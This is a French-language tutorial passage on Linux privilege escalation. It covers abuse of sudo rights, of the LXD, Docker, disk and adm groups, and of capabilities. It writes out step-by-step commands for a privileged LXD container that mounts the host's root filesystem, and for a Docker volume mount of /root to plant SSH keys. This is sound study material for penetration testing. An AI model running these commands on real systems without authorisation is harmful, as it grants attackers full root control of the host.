Abus de Droits Sudo:

Les privilèges sudo accordés à un compte lui permettent d'exécuter la commande ainsi définie dans le contexte du superutilisateur root. Si ces permissions sont mal configurées ou que elles soit sur des binaires dont on peu detourner le fonctionnement ou que le chemin absolu n'est pas spécifié c'est un chemin de victoire facile vers le root.
Pour vérifier les droits sudo rappelons la commande: sudo -l

Groupes Privilégiés LXC/LXD etc....

LXC/LXD: Similaire a docker il est le gestionnaire de conteneurs d'Ubuntu L'appartenance a ce groupe peux être utilisé pour une elevation de Privilèges en créant un conteneur LXD, en le rendant privilégié puis en accédant au system de fichier de l'hote avec /mnt/root, La commande ID nous permet de confirmer notre appartenance a LXD

1- Decompresser l'image Alpine.

```
Agentpathogen@parrot ~$ unzip alpine.zip
```

2- Lancer le processus d'initialisation de lxd

```
Agentpathogen@parrot ~$ lxd init
```

3- Importer l'Image locale

```
Agentpathogen@parrot ~$ lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
```

4- Demarrer un conteneur privilégié sans mapage d'UID: security.privileged=true

```
Agentpathogen@parrot ~$ lxc init alpine r00t -c security.privileged=true
```

5- Monter le system de fichier de l'hote

```
Agentpathogen@parrot ~$ lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
```

6- Lancer un shell à l'intérieur de l'instance conteneur, de ou on aurais "accès a tout"

```
Agentpathogen@parrot ~$ lxc start r00t
Agentpathogen@parrot ~$ lxc exec r00t /bin/sh
```

Docker: ce groupe équivaux a un accès root, car il permet de créer des nouveaux conteneurs avec n'importe quel system de fichiers comme volume par exemple avec le repertoir /root du system de fichier de l'hote

```
Agentpathogen@parrot ~$ docker run -v /root:/mnt -it ubuntu
```

Un peu ensuite lire ou ajouter des clés ssh pour l'utilisateur root... et oui un conteneur est isolé au niveau de l'OS pas materiel et je fais pointer le dossier /mnt du conteneurs vers le dossier root de la machine

Disk: Les utilisateurs de ce groupe on un accès complet à tout les peripheriques contenus dans /dev comme /dev/sda1 qui est generalement le périphérique principal de l'OS.

ADM: Les membres du group adm peuvent lire tous les journaux (logs) stockés dans /var/log cela peux etre exploité pour collecter des données sensibles stockés dans les fichiers de journaux, enumerer les actions des users et taches cron en cours d'exécution.

Capabilities:

Les capacités (capabilities) linux sont des fonctionnalités de sécurité de l'OS linux qui permet d'accorder des privilèges spécifiques à des processus, les autorisant à effectuer des actions autrement restreintes
Sous Ubuntu on utilise setcap pour définir des capacités pour des executables spécifiques
Exemple: ~$ sudo setcap cap:net_bind_service=+ep /usr/bin/vim.basic
On spécifie la capabilities à assigner et sa valeur:
Voyons quelques exemples de valeurs:
= définit la capacité spécifié pour l'executable mais accorde aucun privilège
+ep accorde les privilège effectif p (e) et autorisé (permitted) pour la capacité spécifié à l'executable